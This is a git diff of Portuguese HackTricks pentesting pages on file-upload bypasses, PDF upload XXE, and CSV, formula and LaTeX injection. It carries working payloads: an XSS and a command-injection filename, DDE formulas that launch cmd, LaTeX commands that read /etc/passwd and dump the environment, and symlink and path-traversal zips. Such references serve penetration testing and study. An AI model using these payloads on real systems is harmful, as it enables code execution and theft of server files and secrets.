Para uma exploração detalhada dessa vulnerabilidade, confira a pesquisa original: [Exploração de RCE do uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Vulnerabilidades de Execução Remota de Comandos (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", espaços reservados e operadores. Notavelmente, o operador '@', utilizado como `@(nome_do_arquivo)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Essa funcionalidade pode ser manipulada para fins maliciosos, como Execução Remota de Comandos ou Escrita/Leitura Arbitrária de Arquivos quando um arquivo de configuração `.ini` é processado.
|
Vulnerabilidades de Execução Remota de Comandos (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", espaços reservados e operadores. Notavelmente, o operador '@', utilizado como `@(nome_do_arquivo)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Essa funcionalidade pode ser manipulada para fins nefastos, como Execução Remota de Comandos ou Escrita/Leitura Arbitrária de Arquivos quando um arquivo de configuração `.ini` é processado.
|
||||||
|
|
||||||
Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas:
|
Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas:
|
||||||
```ini
|
```ini
|
||||||
|
@ -150,7 +150,7 @@ A execução da carga ocorre durante a análise do arquivo de configuração. Pa
|
||||||
|
|
||||||
## **Truque de Upload de Arquivo/SSRF do wget**
|
## **Truque de Upload de Arquivo/SSRF do wget**
|
||||||
|
|
||||||
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas arquivos permitidos sejam baixados. No entanto, **esta verificação pode ser contornada.**\
|
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas arquivos permitidos sejam baixados. No entanto, **essa verificação pode ser contornada**.\
|
||||||
O **comprimento máximo** de um **nome de arquivo** no **Linux** é **255**, no entanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, este nome de arquivo irá **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas o `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
|
O **comprimento máximo** de um **nome de arquivo** no **Linux** é **255**, no entanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, este nome de arquivo irá **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas o `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
|
@ -174,7 +174,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||||
|
|
||||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||||
```
|
```
|
||||||
Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, então a URL inicial irá contornar a verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**.
|
Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, então a URL inicial irá contornar a verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**.
|
||||||
|
|
||||||
|
|
||||||
## Ferramentas
|
## Ferramentas
|
||||||
|
@ -188,7 +188,7 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
|
||||||
* Defina o **nome do arquivo** como `<svg onload=alert(document.domain)>` para alcançar um XSS
|
* Defina o **nome do arquivo** como `<svg onload=alert(document.domain)>` para alcançar um XSS
|
||||||
* Defina o **nome do arquivo** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md))
|
* Defina o **nome do arquivo** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md))
|
||||||
* [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
* [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||||
* Upload de arquivo **JS** + **XSS** = [Exploração de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
* Upload de arquivo **JS** + **XSS** = [exploração de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||||
* [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
* [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||||
* [**Redirecionamento Aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
* [**Redirecionamento Aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
* Experimente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
* Experimente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||||
|
@ -229,7 +229,7 @@ Se você puder fazer upload de um ZIP que será descompactado dentro do servidor
|
||||||
|
|
||||||
#### Symlink
|
#### Symlink
|
||||||
|
|
||||||
Faça upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
|
Faça o upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
|
||||||
```
|
```
|
||||||
ln -s ../../../index.php symindex.txt
|
ln -s ../../../index.php symindex.txt
|
||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
|
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
|
||||||
```
|
```
|
||||||
### Descompactar em pastas diferentes
|
### Descompactar em pastas diferentes
|
||||||
|
|
||||||
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de sistema operacional por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que os atacantes ignorem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão do aplicativo alvo.
|
A criação inesperada de arquivos em diretórios durante a descompactação é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de sistema operacional por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que os atacantes ignorem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão do aplicativo alvo.
|
||||||
|
|
||||||
Um exploit automatizado para criar esses arquivos está disponível em [**evilarc no GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada da seguinte maneira:
|
Um exploit automatizado para criar esses arquivos está disponível em [**evilarc no GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada da seguinte maneira:
|
||||||
```python
|
```python
|
||||||
|
@ -305,7 +305,7 @@ pop graphic-context
|
||||||
|
|
||||||
Incorporar um shell PHP no chunk IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para determinados casos de uso.
|
Incorporar um shell PHP no chunk IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para determinados casos de uso.
|
||||||
|
|
||||||
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Codificando Shells Web em chunks IDAT de PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
|
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Codificando Web Shells em chunks IDAT de PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
|
||||||
|
|
||||||
Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
|
|
||||||
|
@ -313,7 +313,7 @@ Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shel
|
||||||
|
|
||||||
Arquivos poliglotas atuam como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Tais arquivos não se limitam a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
|
Arquivos poliglotas atuam como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Tais arquivos não se limitam a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
|
||||||
|
|
||||||
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivo para upload, como JPEG, GIF ou DOC, para mitigar o risco representado por formatos potencialmente prejudiciais (por exemplo, arquivos JS, PHP ou Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições sorrateiramente.
|
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivo para upload, como JPEG, GIF ou DOC, para mitigar o risco representado por formatos potencialmente prejudiciais (por exemplo, arquivos JS, PHP ou Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições de forma furtiva.
|
||||||
|
|
||||||
Apesar de sua adaptabilidade, os poliglotas encontram limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso em relação às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.
|
Apesar de sua adaptabilidade, os poliglotas encontram limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso em relação às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.
|
||||||
|
|
||||||
|
@ -340,10 +340,10 @@ Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-fr
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,13 +1,13 @@
|
||||||
# Upload de PDF - Bypass XXE e CORS
|
# Upload de PDF - Bypass de XXE e CORS
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -16,12 +16,12 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Injeção de Fórmulas/CSV/Doc/LaTeX/GhostScript
|
# Injeção de Fórmula/CSV/Doc/LaTeX/GhostScript
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -6,10 +6,10 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -22,14 +22,14 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
## Injeção de Fórmulas
|
## Injeção de Fórmula
|
||||||
|
|
||||||
### Informações
|
### Informação
|
||||||
|
|
||||||
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
|
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Atualmente, o **Excel alertará** (várias vezes) o **usuário quando algo for carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
|
Atualmente, o **Excel alertará** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||||
|
@ -47,7 +47,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
||||||
|
|
||||||
O exemplo a seguir foi retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
O exemplo a seguir foi retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||||
|
|
||||||
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos explorado por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
|
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos sendo explorada por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
|
||||||
|
|
||||||
1. **Injeção de Payload Malicioso:**
|
1. **Injeção de Payload Malicioso:**
|
||||||
- O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, `=HYPERLINK("<malicious_link>","Clique aqui")`).
|
- O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, `=HYPERLINK("<malicious_link>","Clique aqui")`).
|
||||||
|
@ -109,8 +109,8 @@ Normalmente, os servidores que você encontrará na internet que **convertem có
|
||||||
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
|
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
|
||||||
|
|
||||||
* **`--no-shell-escape`**: **Desabilita** a construção `\write18{comando}`, mesmo que esteja habilitada no arquivo texmf.cnf.
|
* **`--no-shell-escape`**: **Desabilita** a construção `\write18{comando}`, mesmo que esteja habilitada no arquivo texmf.cnf.
|
||||||
* **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
* **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de \*\*comandos pré-definidos (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
||||||
* **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Esta construção normalmente é desativada por motivos de segurança.
|
* **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Esta construção normalmente é proibida por motivos de segurança.
|
||||||
|
|
||||||
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
|
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ Você pode precisar ajustar a injeção com wrappers como \[ ou $.
|
||||||
\text{\line}
|
\text{\line}
|
||||||
\closein\file
|
\closein\file
|
||||||
```
|
```
|
||||||
#### Ler arquivo de várias linhas
|
#### Ler arquivo com várias linhas
|
||||||
```bash
|
```bash
|
||||||
\newread\file
|
\newread\file
|
||||||
\openin\file=/etc/passwd
|
\openin\file=/etc/passwd
|
||||||
|
@ -174,7 +174,7 @@ A entrada do comando será redirecionada para stdin, use um arquivo temporário
|
||||||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||||
```
|
```
|
||||||
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres inválidos
|
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres ruins.
|
||||||
```bash
|
```bash
|
||||||
\immediate\write18{env | base64 > test.tex}
|
\immediate\write18{env | base64 > test.tex}
|
||||||
\input{text.tex}
|
\input{text.tex}
|
||||||
|
@ -217,7 +217,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
